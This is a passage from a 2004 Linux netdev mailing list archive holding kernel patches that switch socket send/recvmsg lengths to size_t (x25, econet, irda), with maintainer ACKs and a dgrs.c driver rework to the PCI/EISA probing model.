*sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct x25_opt *x25 = x25_sk(sk); @@ -919,7 +919,8 @@ struct sk_buff *skb; unsigned char *asmptr; int noblock = msg->msg_flags & MSG_DONTWAIT; - int size, qbit = 0, rc = -EINVAL; + size_t size; + int qbit = 0, rc = -EINVAL; if (msg->msg_flags & ~(MSG_DONTWAIT | MSG_OOB | MSG_EOR)) goto out; @@ -1085,13 +1086,14 @@ static int x25_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, + struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct x25_opt *x25 = x25_sk(sk); struct sockaddr_x25 *sx25 = (struct sockaddr_x25 *)msg->msg_name; - int copied, qbit; + size_t copied; + int qbit; struct sk_buff *skb; unsigned char *asmptr; int rc = -ENOTCONN; From shemminger@osdl.org Thu Jan 8 14:02:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:03:05 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M2mTa031561 for ; Thu, 8 Jan 2004 14:02:48 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08M2bo08190; Thu, 8 Jan 2004 14:02:37 -0800 Date: Fri, 9 Jan 2004 14:03:23 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (11/17) econet -- size_t for send/recvmsg Message-Id: <20040109140323.7d48f9db@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2293 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1046 Lines: 40 Convert econet over to unsigned length for send/recv msg. Add a bounds check based on device mtu - header. diff -Nru a/net/econet/af_econet.c b/net/econet/af_econet.c --- a/net/econet/af_econet.c Mon Dec 8 16:20:01 2003 +++ b/net/econet/af_econet.c Mon Dec 8 16:20:01 2003 @@ -113,11 +113,12 @@ */ static int econet_recvmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len, int flags) + struct msghdr *msg, size_t len, int flags) { struct sock *sk = sock->sk; struct sk_buff *skb; - int copied, err; + size_t copied; + int err; msg->msg_namelen = sizeof(struct sockaddr_ec); @@ -246,7 +247,7 @@ */ static int econet_sendmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name; @@ -307,6 +308,9 @@ if (dev == NULL) return -ENETDOWN; } + + if (len + 15 > dev->mtu) + return -EMSGSIZE; if (dev->type == ARPHRD_ECONET) { From shemminger@osdl.org Thu Jan 8 14:03:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:03:49 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M3YTa031898 for ; Thu, 8 Jan 2004 14:03:35 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i08M2ao08186; Thu, 8 Jan 2004 14:02:36 -0800 Date: Fri, 9 Jan 2004 14:03:17 -0800 From: Stephen Hemminger To: "David S. Miller" , Jean Tourrilhes Cc: netdev@oss.sgi.com Subject: [PATCH] (12/17) irda -- size_t for send/recvmsg Message-Id: <20040109140317.0a8a30a8@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2301 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1919 Lines: 63 Convert IRDA to unsigned length for send/recv msg. diff -Nru a/net/irda/af_irda.c b/net/irda/af_irda.c --- a/net/irda/af_irda.c Mon Dec 8 16:20:04 2003 +++ b/net/irda/af_irda.c Mon Dec 8 16:20:04 2003 @@ -1257,7 +1257,7 @@ * fragment the message if necessary */ static int irda_sendmsg(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct irda_sock *self; @@ -1329,12 +1329,13 @@ * after being read, regardless of how much the user actually read */ static int irda_recvmsg_dgram(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, int flags) + struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct irda_sock *self = irda_sk(sk); struct sk_buff *skb; - int copied, err; + size_t copied; + int err; IRDA_DEBUG(4, "%s()\n", __FUNCTION__); @@ -1379,12 +1380,12 @@ * Function irda_recvmsg_stream (iocb, sock, msg, size, flags) */ static int irda_recvmsg_stream(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int size, int flags) + struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct irda_sock *self = irda_sk(sk); int noblock = flags & MSG_DONTWAIT; - int copied = 0; + size_t copied = 0; int target = 1; DECLARE_WAITQUEUE(waitq, current); @@ -1505,7 +1506,7 @@ * */ static int irda_sendmsg_dgram(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct irda_sock *self; @@ -1571,7 +1572,7 @@ */ #ifdef CONFIG_IRDA_ULTRA static int irda_sendmsg_ultra(struct kiocb *iocb, struct socket *sock, - struct msghdr *msg, int len) + struct msghdr *msg, size_t len) { struct sock *sk = sock->sk; struct irda_sock *self; From acme@conectiva.com.br Thu Jan 8 14:07:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:07:15 -0800 (PST) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M70Ta002299 for ; Thu, 8 Jan 2004 14:07:01 -0800 Received: from 4-203.ctame700-6.telepar.net.br ([200.140.237.203] helo=oops.kerneljanitors.org) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1AeiQD-0000fI-00; Thu, 08 Jan 2004 20:14:34 -0200 Received: by oops.kerneljanitors.org (Postfix, from userid 500) id B0C1C1966D; Thu, 8 Jan 2004 20:17:51 -0200 (BRDT) Date: Thu, 8 Jan 2004 20:17:51 -0200 From: Arnaldo Carvalho de Melo To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] (8/17) ipx -- size_t for send/recvmsg Message-ID: <20040108221751.GC3062@conectiva.com.br> References: <20040109140223.3926cbeb@linux.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040109140223.3926cbeb@linux.local> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.5.1i X-archive-position: 2302 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 192 Lines: 5 Em Fri, Jan 09, 2004 at 02:02:23PM -0800, Stephen Hemminger escreveu: > Convert IPX to unsigned for send/receive message length. > Enforce MTU limited by header pktsize. ACK, thanks Stephen. From acme@conectiva.com.br Thu Jan 8 14:07:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 14:07:26 -0800 (PST) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08M7CTa002307 for ; Thu, 8 Jan 2004 14:07:13 -0800 Received: from 4-203.ctame700-6.telepar.net.br ([200.140.237.203] helo=oops.kerneljanitors.org) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1AeiQQ-0000fO-00; Thu, 08 Jan 2004 20:14:46 -0200 Received: by oops.kerneljanitors.org (Postfix, from userid 500) id C9F1C1966D; Thu, 8 Jan 2004 20:18:04 -0200 (BRDT) Date: Thu, 8 Jan 2004 20:18:04 -0200 From: Arnaldo Carvalho de Melo To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] (13/17) llc -- size_t for send/recvmsg Message-ID: <20040108221804.GD3062@conectiva.com.br> References: <20040109140311.66c2fa57@linux.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040109140311.66c2fa57@linux.local> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.5.1i X-archive-position: 2303 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 138 Lines: 5 Em Fri, Jan 09, 2004 at 02:03:11PM -0800, Stephen Hemminger escreveu: > Convert LLC to unsigned for send/recv msg. ACK, thanks Stephen. From jt@bougret.hpl.hp.com Thu Jan 8 15:18:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 15:18:47 -0800 (PST) Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08NIOTa005875 for ; Thu, 8 Jan 2004 15:18:24 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel11.hp.com (Postfix) with ESMTP id 8317F1C0060D; Thu, 8 Jan 2004 14:56:57 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_28810+JAGae91741+JAGae92668)/8.9.3 HPLabs Timeshare Server) with ESMTP id OAA07537; Thu, 8 Jan 2004 14:56:57 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1Aej5F-0005xQ-00; Thu, 08 Jan 2004 14:56:57 -0800 Date: Thu, 8 Jan 2004 14:56:57 -0800 To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] (12/17) irda -- size_t for send/recvmsg Message-ID: <20040108225657.GB22438@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040109140317.0a8a30a8@linux.local> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040109140317.0a8a30a8@linux.local> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2304 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 211 Lines: 7 On Fri, Jan 09, 2004 at 02:03:17PM -0800, Stephen Hemminger wrote: > Convert IRDA to unsigned length for send/recv msg. Ok, I've added that on my web page and will remind Dave if he doesn't pick it up. Jean From davem@pizda.ninka.net Thu Jan 8 15:44:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 15:44:36 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08NiNTa006702 for ; Thu, 8 Jan 2004 15:44:23 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA03186; Thu, 8 Jan 2004 15:36:17 -0800 Date: Thu, 8 Jan 2004 15:36:17 -0800 From: "David S. Miller" To: jt@hpl.hp.com Cc: jt@bougret.hpl.hp.com, shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] (12/17) irda -- size_t for send/recvmsg Message-Id: <20040108153617.58a75a75.davem@redhat.com> In-Reply-To: <20040108225657.GB22438@bougret.hpl.hp.com> References: <20040109140317.0a8a30a8@linux.local> <20040108225657.GB22438@bougret.hpl.hp.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2305 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 387 Lines: 11 On Thu, 8 Jan 2004 14:56:57 -0800 Jean Tourrilhes wrote: > On Fri, Jan 09, 2004 at 02:03:17PM -0800, Stephen Hemminger wrote: > > Convert IRDA to unsigned length for send/recv msg. > > Ok, I've added that on my web page and will remind Dave if he > doesn't pick it up. Don't worry, I'll queue all of these up for 2.6.2, it's too late for 2.6.1 at this point. From jt@bougret.hpl.hp.com Thu Jan 8 15:47:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 15:48:09 -0800 (PST) Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08NluTa007119 for ; Thu, 8 Jan 2004 15:47:56 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel13.hp.com (Postfix) with ESMTP id 248531C007DE; Thu, 8 Jan 2004 15:47:56 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_28810+JAGae91741+JAGae92668)/8.9.3 HPLabs Timeshare Server) with ESMTP id PAA09318; Thu, 8 Jan 2004 15:47:55 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AejsZ-00064I-00; Thu, 08 Jan 2004 15:47:55 -0800 Date: Thu, 8 Jan 2004 15:47:55 -0800 To: "David S. Miller" Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] (12/17) irda -- size_t for send/recvmsg Message-ID: <20040108234755.GA23320@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040109140317.0a8a30a8@linux.local> <20040108225657.GB22438@bougret.hpl.hp.com> <20040108153617.58a75a75.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040108153617.58a75a75.davem@redhat.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2306 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 573 Lines: 18 On Thu, Jan 08, 2004 at 03:36:17PM -0800, David S. Miller wrote: > On Thu, 8 Jan 2004 14:56:57 -0800 > Jean Tourrilhes wrote: > > > On Fri, Jan 09, 2004 at 02:03:17PM -0800, Stephen Hemminger wrote: > > > Convert IRDA to unsigned length for send/recv msg. > > > > Ok, I've added that on my web page and will remind Dave if he > > doesn't pick it up. > > Don't worry, I'll queue all of these up for 2.6.2, it's too late for 2.6.1 at this > point. Perfect. 2.6.2 is what I was aiming for, it's not like we are in a hurry. Thanks a lot ! Jean From shemminger@osdl.org Thu Jan 8 16:52:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 16:53:04 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i090qoTa011580 for ; Thu, 8 Jan 2004 16:52:50 -0800 Received: from linux.local (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i090qgo07604; Thu, 8 Jan 2004 16:52:42 -0800 Date: Thu, 8 Jan 2004 16:53:43 -0800 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] bugfixes for dgrs.c Message-Id: <20040108165343.7ed94da9@linux.local> X-Mailer: Sylpheed version 0.9.8claws (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2307 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 12334 Lines: 517 Update the RightSwitch dgrs.c driver for net-drivers-2.5-exp (2.6.1-rc3) to resolve some of the outstanding cruft there. Al may have a better/newer patch. * Don't copy net_device structure on slave device! This won't work because of state variables in structure. * make sure and request_regions before doing i/o to the card * use cpu_relax rather than barrier while spin waiting * don't use dev->init to do the probing work because hard to get unwind correct * Use new pci/eisa probing model, don't search the bus directly Beneficial side effect, don't need to keep on device list anymore. * Be more careful about releaseing resources in error paths Compiled and module loaded/unloaded, but don't have this hardware. diff -Nru a/drivers/net/dgrs.c b/drivers/net/dgrs.c --- a/drivers/net/dgrs.c Thu Jan 8 16:44:05 2004 +++ b/drivers/net/dgrs.c Thu Jan 8 16:44:05 2004 @@ -121,11 +121,22 @@ #include "dgrs_asstruct.h" #include "dgrs_bcomm.h" +#ifdef CONFIG_PCI static struct pci_device_id dgrs_pci_tbl[] = { { SE6_PCI_VENDOR_ID, SE6_PCI_DEVICE_ID, PCI_ANY_ID, PCI_ANY_ID, }, { } /* Terminating entry */ }; MODULE_DEVICE_TABLE(pci, dgrs_pci_tbl); +#endif + +#ifdef CONFIG_EISA +static struct eisa_device_id dgrs_eisa_tbl[] = { + { "DBI0A01" }, + { } +}; +MODULE_DEVICE_TABLE(eisa, dgrs_eisa_tbl); +#endif + MODULE_LICENSE("GPL"); @@ -179,11 +190,6 @@ static int dgrs_nicmode; /* - * Chain of device structures - */ -static struct net_device *dgrs_root_dev; - -/* * Private per-board data structure (dev->priv) */ typedef struct @@ -191,7 +197,6 @@ /* * Stuff for generic ethercard I/F */ - struct net_device *next_dev; struct net_device_stats stats; /* @@ -1187,7 +1192,7 @@ priv->intrcnt = 0; for (i = jiffies + 2*HZ + HZ/2; time_after(i, jiffies); ) { - barrier(); /* gcc 2.95 needs this */ + cpu_relax(); if (priv->intrcnt >= 2) break; } @@ -1200,16 +1205,6 @@ } /* - * Register the /proc/ioports information... - */ - if (!request_region(dev->base_addr, 256, "RightSwitch")) { - printk(KERN_ERR "%s: io 0x%3lX, which is busy.\n", dev->name, - dev->base_addr); - rc = -EBUSY; - goto err_free_irq; - } - - /* * Entry points... */ dev->open = &dgrs_open; @@ -1242,22 +1237,23 @@ return (0); } -static int __init +static struct net_device * __init dgrs_found_device( int io, ulong mem, int irq, ulong plxreg, - ulong plxdma + ulong plxdma, + struct device *pdev ) { - DGRS_PRIV *priv; - struct net_device *dev, *aux; - int i, ret; + DGRS_PRIV *priv; + struct net_device *dev; + int i, ret = -ENOMEM; dev = alloc_etherdev(sizeof(DGRS_PRIV)); if (!dev) - return -ENOMEM; + goto err0; priv = (DGRS_PRIV *)dev->priv; @@ -1272,19 +1268,19 @@ priv->chan = 1; priv->devtbl[0] = dev; - dev->init = dgrs_probe1; SET_MODULE_OWNER(dev); - - if (register_netdev(dev) != 0) { - free_netdev(dev); - return -EIO; - } - - priv->next_dev = dgrs_root_dev; - dgrs_root_dev = dev; + SET_NETDEV_DEV(dev, pdev); + + ret = dgrs_probe1(dev); + if (ret) + goto err1; + + ret = register_netdev(dev); + if (ret) + goto err2; if ( !dgrs_nicmode ) - return (0); /* Switch mode, we are done */ + return dev; /* Switch mode, we are done */ /* * Operating card as N separate NICs @@ -1302,8 +1298,7 @@ if (!devN) goto fail; - /* Make it an exact copy of dev[0]... */ - *devN = *dev; + /* Don't copy the network device structure! */ /* copy the priv structure of dev[0] */ privN = (DGRS_PRIV *)devN->priv; @@ -1316,123 +1311,212 @@ devN->irq = 0; /* ... and base MAC address off address of 1st port */ devN->dev_addr[5] += i; - /* ... choose a new name */ - strncpy(devN->name, "eth%d", IFNAMSIZ); - devN->init = dgrs_initclone; + + ret = dgrs_initclone(devN); + if (ret) + goto fail; + SET_MODULE_OWNER(devN); + SET_NETDEV_DEV(dev, pdev); - ret = -EIO; - if (register_netdev(devN)) { + ret = register_netdev(devN); + if (ret) { free_netdev(devN); goto fail; } privN->chan = i+1; priv->devtbl[i] = devN; - privN->next_dev = dgrs_root_dev; - dgrs_root_dev = devN; } - return 0; -fail: aux = priv->next_dev; - while (dgrs_root_dev != aux) { - struct net_device *d = dgrs_root_dev; - - dgrs_root_dev = ((DGRS_PRIV *)d->priv)->next_dev; + return dev; + + fail: + while (i >= 0) { + struct net_device *d = priv->devtbl[i--]; unregister_netdev(d); free_netdev(d); } - return ret; + + err2: + free_irq(dev->irq, dev); + err1: + free_netdev(dev); + err0: + return ERR_PTR(ret); } -/* - * Scan for all boards - */ -static int is2iv[8] __initdata = { 0, 3, 5, 7, 10, 11, 12, 15 }; +static void __devexit dgrs_remove(struct net_device *dev) +{ + DGRS_PRIV *priv = dev->priv; + int i; + + unregister_netdev(dev); + + for (i = 1; i < priv->nports; ++i) { + struct net_device *d = priv->devtbl[i]; + if (d) { + unregister_netdev(d); + free_netdev(d); + } + } + + proc_reset(priv->devtbl[0], 1); -static int __init dgrs_scan(void) + if (priv->vmem) + iounmap(priv->vmem); + if (priv->vplxdma) + iounmap((uchar *) priv->vplxdma); + + if (dev->irq) + free_irq(dev->irq, dev); + + for (i = 1; i < priv->nports; ++i) { + if (priv->devtbl[i]) + unregister_netdev(priv->devtbl[i]); + } +} + +#ifdef CONFIG_PCI +static int __init dgrs_pci_probe(struct pci_dev *pdev, + const struct pci_device_id *ent) { - int cards_found = 0; + struct net_device *dev; + int err; uint io; uint mem; uint irq; uint plxreg; uint plxdma; - struct pci_dev *pdev = NULL; /* - * First, check for PCI boards - */ - while ((pdev = pci_find_device(SE6_PCI_VENDOR_ID, SE6_PCI_DEVICE_ID, pdev)) != NULL) - { - /* - * Get and check the bus-master and latency values. - * Some PCI BIOSes fail to set the master-enable bit, - * and the latency timer must be set to the maximum - * value to avoid data corruption that occurs when the - * timer expires during a transfer. Yes, it's a bug. - */ - if (pci_enable_device(pdev)) - continue; - pci_set_master(pdev); - - plxreg = pci_resource_start (pdev, 0); - io = pci_resource_start (pdev, 1); - mem = pci_resource_start (pdev, 2); - pci_read_config_dword(pdev, 0x30, &plxdma); - irq = pdev->irq; - plxdma &= ~15; + * Get and check the bus-master and latency values. + * Some PCI BIOSes fail to set the master-enable bit, + * and the latency timer must be set to the maximum + * value to avoid data corruption that occurs when the + * timer expires during a transfer. Yes, it's a bug. + */ + err = pci_enable_device(pdev); + if (err) + return err; + err = pci_request_regions(pdev, "RightSwitch"); + if (err) + return err; + + pci_set_master(pdev); + + plxreg = pci_resource_start (pdev, 0); + io = pci_resource_start (pdev, 1); + mem = pci_resource_start (pdev, 2); + pci_read_config_dword(pdev, 0x30, &plxdma); + irq = pdev->irq; + plxdma &= ~15; + + /* + * On some BIOSES, the PLX "expansion rom" (used for DMA) + * address comes up as "0". This is probably because + * the BIOS doesn't see a valid 55 AA ROM signature at + * the "ROM" start and zeroes the address. To get + * around this problem the SE-6 is configured to ask + * for 4 MB of space for the dual port memory. We then + * must set its range back to 2 MB, and use the upper + * half for DMA register access + */ + OUTL(io + PLX_SPACE0_RANGE, 0xFFE00000L); + if (plxdma == 0) + plxdma = mem + (2048L * 1024L); + pci_write_config_dword(pdev, 0x30, plxdma + 1); + pci_read_config_dword(pdev, 0x30, &plxdma); + plxdma &= ~15; + + dev = dgrs_found_device(io, mem, irq, plxreg, plxdma, &pdev->dev); + if (IS_ERR(dev)) { + pci_release_regions(pdev); + return PTR_ERR(dev); + } - /* - * On some BIOSES, the PLX "expansion rom" (used for DMA) - * address comes up as "0". This is probably because - * the BIOS doesn't see a valid 55 AA ROM signature at - * the "ROM" start and zeroes the address. To get - * around this problem the SE-6 is configured to ask - * for 4 MB of space for the dual port memory. We then - * must set its range back to 2 MB, and use the upper - * half for DMA register access - */ - OUTL(io + PLX_SPACE0_RANGE, 0xFFE00000L); - if (plxdma == 0) - plxdma = mem + (2048L * 1024L); - pci_write_config_dword(pdev, 0x30, plxdma + 1); - pci_read_config_dword(pdev, 0x30, &plxdma); - plxdma &= ~15; + pci_set_drvdata(pdev, dev); + return 0; +} - dgrs_found_device(io, mem, irq, plxreg, plxdma); +static void __devexit dgrs_pci_remove(struct pci_dev *pdev) +{ + struct net_device *dev = pci_get_drvdata(pdev); - cards_found++; - } + dgrs_remove(dev); + pci_release_regions(pdev); + free_netdev(dev); +} - /* - * Second, check for EISA boards - */ - if (EISA_bus) - { - for (io = 0x1000; io < 0x9000; io += 0x1000) - { - if (inb(io+ES4H_MANUFmsb) != 0x10 - || inb(io+ES4H_MANUFlsb) != 0x49 - || inb(io+ES4H_PRODUCT) != ES4H_PRODUCT_CODE) - continue; +static struct pci_driver dgrs_pci_driver = { + .name = "dgrs", + .id_table = dgrs_pci_tbl, + .probe = dgrs_pci_probe, + .remove = __devexit_p(dgrs_pci_remove), +}; +#endif + + +#ifdef CONFIG_EISA +static int is2iv[8] __initdata = { 0, 3, 5, 7, 10, 11, 12, 15 }; - if ( ! (inb(io+ES4H_EC) & ES4H_EC_ENABLE) ) - continue; /* Not EISA configured */ +static int __init dgrs_eisa_probe (struct device *gendev) +{ + struct net_device *dev; + struct eisa_device *edev = to_eisa_device(gendev); + uint io = edev->base_addr; + uint mem; + uint irq; + int rc = -ENODEV; /* Not EISA configured */ + + if (!request_region(io, 256, "RightSwitch")) { + printk(KERN_ERR "%s: io 0x%3lX, which is busy.\n", dev->name, + dev->base_addr); + return -EBUSY; + } - mem = (inb(io+ES4H_AS_31_24) << 24) - + (inb(io+ES4H_AS_23_16) << 16); + if ( ! (inb(io+ES4H_EC) & ES4H_EC_ENABLE) ) + goto err_out; - irq = is2iv[ inb(io+ES4H_IS) & ES4H_IS_INTMASK ]; + mem = (inb(io+ES4H_AS_31_24) << 24) + + (inb(io+ES4H_AS_23_16) << 16); - dgrs_found_device(io, mem, irq, 0L, 0L); + irq = is2iv[ inb(io+ES4H_IS) & ES4H_IS_INTMASK ]; - ++cards_found; - } + dev = dgrs_found_device(io, mem, irq, 0L, 0L, gendev); + if (IS_ERR(dev)) { + rc = PTR_ERR(dev); + goto err_out; } - return cards_found; + gendev->driver_data = dev; + return 0; + err_out: + release_region(io, 256); + return rc; +} + +static int __devexit dgrs_eisa_remove(struct device *gendev) +{ + struct net_device *dev = gendev->driver_data; + + dgrs_remove(dev); + + release_region(dev->base_addr, 256); + + free_netdev(dev); + return 0; } +static struct eisa_driver dgrs_eisa_driver = { + .id_table = dgrs_eisa_tbl, + .driver = { + .name = "dgrs", + .probe = dgrs_eisa_probe, + .remove = __devexit_p(dgrs_eisa_remove), + } +}; +#endif + /* * Variables that can be overriden from module command line */ @@ -1459,8 +1543,8 @@ static int __init dgrs_init_module (void) { - int cards_found; int i; + int eisacount = 0, pcicount = 0; /* * Command line variable overrides @@ -1501,38 +1585,27 @@ /* * Find and configure all the cards */ - dgrs_root_dev = NULL; - cards_found = dgrs_scan(); - - return cards_found ? 0 : -ENODEV; +#ifdef CONFIG_EISA + eisacount = eisa_driver_register(&dgrs_eisa_driver); + if (eisacount < 0) + return eisacount; +#endif +#ifdef CONFIG_PCI + pcicount = pci_register_driver(&dgrs_pci_driver); + if (pcicount < 0) + return pcicount; +#endif + return (eisacount + pcicount) == 0 ? -ENODEV : 0; } static void __exit dgrs_cleanup_module (void) { - while (dgrs_root_dev) - { - struct net_device *next_dev; - DGRS_PRIV *priv; - - priv = (DGRS_PRIV *) dgrs_root_dev->priv; - next_dev = priv->next_dev; - unregister_netdev(dgrs_root_dev); - - proc_reset(priv->devtbl[0], 1); - - if (priv->vmem) - iounmap(priv->vmem); - if (priv->vplxdma) - iounmap((uchar *) priv->vplxdma); - - release_region(dgrs_root_dev->base_addr, 256); - - if (dgrs_root_dev->irq) - free_irq(dgrs_root_dev->irq, dgrs_root_dev); - - free_netdev(dgrs_root_dev); - dgrs_root_dev = next_dev; - } +#ifdef CONFIG_EISA + eisa_driver_unregister (&dgrs_eisa_driver); +#endif +#ifdef CONFIG_PCI + pci_unregister_driver (&dgrs_pci_driver); +#endif } module_init(dgrs_init_module); From willy@w.ods.org Thu Jan 8 16:54:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 16:54:47 -0800 (PST) Received: from willy.net1.nerim.net (willy.net1.nerim.net [62.212.114.60]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i090sWTa011747 for ; Thu, 8 Jan 2004 16:54:33 -0800 Date: Fri, 9 Jan 2004 01:54:23 +0100 From: Willy Tarreau To: Nathaniel M Nelson Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Possible weird TCP/IP bug Message-ID: <20040109005423.GD545@alpha.home.local> References: <3FFDDE33.1070006@chartermi.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3FFDDE33.1070006@chartermi.net> 